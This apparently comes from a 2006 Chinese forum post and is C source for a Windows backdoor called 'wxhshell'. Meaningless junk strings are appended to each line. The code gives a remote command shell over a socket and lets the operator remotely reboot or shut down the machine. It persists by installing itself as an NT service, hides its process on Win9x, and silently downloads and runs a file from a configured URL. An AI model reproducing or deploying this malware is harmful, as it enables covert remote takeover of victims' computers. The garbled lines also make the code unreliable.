  // 帮助 Q)&Ztw<  
  case '?': { 4ebGAg?_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xy>mM"DOH  
    break; _;W|iUreb  
  } }qPo%T  
  // 安装 ]uf_"D  
  case 'i': { P*]g*&*Y +  
    if(Install()) GjBQxn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `#U6`[[  
    else +__Rk1CVh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cKAl 0_[f"  
    break; na)ceN2h  
    } x #g,l2_!  
  // 卸载 >O=V1  
  case 'r': { 2[eY q1f!  
    if(Uninstall()) TH VF@@q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V" 73^  
    else ^;bkU|(`6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~qH@Kz\%  
    break; ESI}+  
    } D%v yO_k  
  // 显示 wxhshell 所在路径 ,;y^|X  
  case 'p': { Mt>DAk  
    char svExeFile[MAX_PATH]; o}z}79Z  
    strcpy(svExeFile,"\n\r"); d-aF-  
      strcat(svExeFile,ExeFile); hRu%> =7  
        send(wsh,svExeFile,strlen(svExeFile),0); Q<qIlNE  
    break; @hPbD?)M  
    } <Jz>e}*)  
  // 重启 XMdYted  
  case 'b': { LX'US-B.!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $'Z!Y;Ue  
    if(Boot(REBOOT)) tB.9Ov*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M#m7g4*L!  
    else { #S)*MT4ke  
    closesocket(wsh); 7 &Aakl  
    ExitThread(0); DS fKUx&  
    } q[lqEc  
    break; pV8,b   
    } - _(!  
  // 关机 zO,sq%vQn'  
  case 'd': { /^"TMm   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hAdEq$  
    if(Boot(SHUTDOWN)) >xN^#$ng}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gUcE,L  
    else {  CgWj9 [  
    closesocket(wsh); Pcc%VQN  
    ExitThread(0); &~8}y+z  
    } Z[VKB3Pb8  
    break; g@L4G?hLn  
    } (Lp-3Xx  
  // 获取shell K^ lVng  
  case 's': { Gex^\gf  
    CmdShell(wsh); %oo&M;  
    closesocket(wsh); =zKp(_[D  
    ExitThread(0); kMA>)\  
    break; U Lq%,ca  
  } RfD$@q9  
  // 退出 \?Z dUY  
  case 'x': { JcP'+@X"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jz6PqU|=  
    CloseIt(wsh); foeVjL:T  
    break; t j0vB]c  
    } 6yU~^))bx  
  // 离开 [Zf<r1m  
  case 'q': { Jc+U$h4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3^\y>  
    closesocket(wsh); <|4j<U  
    WSACleanup(); {BF\G%v;+  
    exit(1); S.z;Bm  
    break;  7)T+!>  
        } ,Xw/ t>  
  } m`|Z1CT  
  } Am0$UeSZ  
U7W ct %  
  // 提示信息 6!$S1z#wM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bu.36\78  
}  ;"3Mm$  
  } .&Z Vy{uP  
{:Q2Itsy  
  return; |Yx8Ez  
} ra3WLK  
@P-7a`3*  
// shell模块句柄 A28w/ =e7  
int CmdShell(SOCKET sock) ;u%hwlo  
{ #%5>}$  
STARTUPINFO si; :/3`+&T^/  
ZeroMemory(&si,sizeof(si)); v#6.VUAw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M3''xrpC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |lv4X }H  
PROCESS_INFORMATION ProcessInfo; >@X=E3  
char cmdline[]="cmd"; cA*%K[9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {MS&t09Wh  
  return 0; P+/L, u  
} k}/: xN"  
P/_XDP./U  
// 自身启动模式 kU /?#s  
int StartFromService(void) xqr`T0!&  
{ UaBR;v-.B3  
typedef struct kBT uM"  
{ \S9z.!7v$  
  DWORD ExitStatus; #O~Y[''C5X  
  DWORD PebBaseAddress; Bw$-*FYE  
  DWORD AffinityMask; ns3k{l#  
  DWORD BasePriority; *,. {Xf  
  ULONG UniqueProcessId; 4Vs;Y&t]  
  ULONG InheritedFromUniqueProcessId; y|aWUX/a  
}   PROCESS_BASIC_INFORMATION; yDKX,  
]:njP3r  
PROCNTQSIP NtQueryInformationProcess; kK(633s  
B}Qo8i7 z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \8pbPo=x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g/E;OcFaO  
>eXNw}_j  
  HANDLE             hProcess; |LQmdgVr$  
  PROCESS_BASIC_INFORMATION pbi; 9. R _=  
`>*P(yIN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M_e! s}F  
  if(NULL == hInst ) return 0; pxN'E;P-  
P$Dr6;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qHj4`&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U t%ie=c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WRgz]=W3w  
_w26iCnB{  
  if (!NtQueryInformationProcess) return 0; _k}b  
("aYjK k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sqy5rug  
  if(!hProcess) return 0; e'ZgF~  
Wj3H  y4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A;g[G>J  
K,RIa0)  
  CloseHandle(hProcess); D,7! /u'  
6hZhD1lDG^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #<JrSl62(K  
if(hProcess==NULL) return 0; G{J9Fb8  
%H@fVWe2wT  
HMODULE hMod; }X$>84s>[P  
char procName[255]; 5ZSw0A(w  
unsigned long cbNeeded; 5t PmrWZ  
$&4Zw6"=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U!Lws#\X  
j04Q3d \f  
  CloseHandle(hProcess); e#AB0-f  
qj|GAGrQ2  
if(strstr(procName,"services")) return 1; // 以服务启动 4b#YpK$7U  
}A#FGH +  
  return 0; // 注册表启动 Y8d%L;b[D  
} { sZrI5   
kN_LD-  
// 主模块 h$k(|/+  
int StartWxhshell(LPSTR lpCmdLine) T7,tJk,(  
{ j_{gk"2:d`  
  SOCKET wsl; 5pDxFs=v  
BOOL val=TRUE; 4uv }6&R  
  int port=0; &O'yhAP] j  
  struct sockaddr_in door; iCH Z{<k  
#*~ (  
  if(wscfg.ws_autoins) Install(); .1}u0IbJ  
sC#Ixq'ls7  
port=atoi(lpCmdLine); (d (whlF  
M,9WF)p)V  
if(port<=0) port=wscfg.ws_port; 0t9G $23  
Fm@GU  
  WSADATA data; LR^b?.#>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IuTTMAt  
c>^_4QQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c{E-4PYbah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t512]eqhb(  
  door.sin_family = AF_INET; T^79p$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )&w\9}B:  
  door.sin_port = htons(port); ^!}lA9\gY  
Ug9o/I@}C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {C3bCVQ]o  
closesocket(wsl); g ` Wr3  
return 1; rg $71Ir  
} {c$W-t):U|  
 $% jV%k  
  if(listen(wsl,2) == INVALID_SOCKET) { 9/'j<v6M  
closesocket(wsl); Mn=_lhW K  
return 1; JRG7<s $  
} _[<I&^%  
  Wxhshell(wsl); }3+(A`9h f  
  WSACleanup(); > 4^U=T#  
E{FNsa  
return 0; y_'8m9Qy)  
ZpwB"%e$  
} n"Ev25%  
Um|:AT}`^  
// 以NT服务方式启动 { u;ntDr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^{bP#f   
{ ^awl-CG  
DWORD   status = 0; Wl*\kQ}U  
  DWORD   specificError = 0xfffffff; Z8:iaP)  
`=.{i}V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UgUW4x'+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jW6@U%[!b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wOOPuCw?  
  serviceStatus.dwWin32ExitCode     = 0; 0wc+<CUW  
  serviceStatus.dwServiceSpecificExitCode = 0; t%/5$<!b  
  serviceStatus.dwCheckPoint       = 0; :]]amziP&  
  serviceStatus.dwWaitHint       = 0; $k!t&G  
vzVl2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6h5*b8LxA  
  if (hServiceStatusHandle==0) return; *zmbo >{(  
2;q6~Y,  
status = GetLastError(); ZGS=;jM  
  if (status!=NO_ERROR) KsHMAp3  
{ rVz#;d!`z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %7{6>6%  
    serviceStatus.dwCheckPoint       = 0; L 5>>gG ,  
    serviceStatus.dwWaitHint       = 0; 2\7]EW  
    serviceStatus.dwWin32ExitCode     = status; Z,!Rj7wZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; pE=wP/#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8*|@A6ig  
    return; 2Ay2 G-  
  } 7%0PsF _  
N!P* B $d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #$A6s~`B  
  serviceStatus.dwCheckPoint       = 0; wi&m(f(~  
  serviceStatus.dwWaitHint       = 0; }g`A*y;t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JiRW|+`pe  
} {Xl 5F.q  
lD{9o2  
// 处理NT服务事件,比如:启动、停止 )`L!eN  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  Z3I<  
{ &3AGj,  
switch(fdwControl) k6dSj>F>  
{ }+u<^7$g|  
case SERVICE_CONTROL_STOP: j| 257D  
  serviceStatus.dwWin32ExitCode = 0; Lrz>00(*4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DTJ~.  
  serviceStatus.dwCheckPoint   = 0; wD*_S}]  
  serviceStatus.dwWaitHint     = 0; =!p6}5Z  
  { &gq\e^0CRZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1W; +hXx  
  } Ex~OT  
  return; 1tD4 I  
case SERVICE_CONTROL_PAUSE: e#08,wgW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `f b}cJUa  
  break; s'i1!GNF B  
case SERVICE_CONTROL_CONTINUE: thkL<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9g>ay-W[(  
  break; 8 2_3|T  
case SERVICE_CONTROL_INTERROGATE: PI }A')Nq.  
  break; $o-s?";  
}; ~(Fy GB}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]0\8g=KK  
} SA}]ZK P  
MF=@PE][  
// 标准应用程序主函数 W~gFY#w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sYeZ.MacU  
{ vZ|m3;X  
Bm^vKzp  
// 获取操作系统版本 {y :/9  
OsIsNt=GetOsVer(); lPx4I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2&P'rmFm  
6n<:ph,h;  
  // 从命令行安装 zaX30e:R  
  if(strpbrk(lpCmdLine,"iI")) Install(); >\MV/!W  
;o#dmG  
  // 下载执行文件 .O~)zM x  
if(wscfg.ws_downexe) { (3W<yAM+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ UQzCqV  
  WinExec(wscfg.ws_filenam,SW_HIDE); *-g S u  
} +   
tV%M2 DxS  
if(!OsIsNt) { }`>u+iH#a  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Y9ps`{}:  
HideProc(); ]W]Vkkg]  
StartWxhshell(lpCmdLine); sgFpZk  
} E@t^IGD r  
else +\Rp N  
  if(StartFromService()) 27gK Y Zf;  
  // 以服务方式启动 +|\dVe.  
  StartServiceCtrlDispatcher(DispatchTable); *p+%&z_<  
else L{osh0  
  // 普通方式启动 sexnO^s  
  StartWxhshell(lpCmdLine); Av7bp[OD  
e>Is$+[`7  
return 0; }9{6{TD  
}
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只看该作者 1 发表于: 2006-10-10
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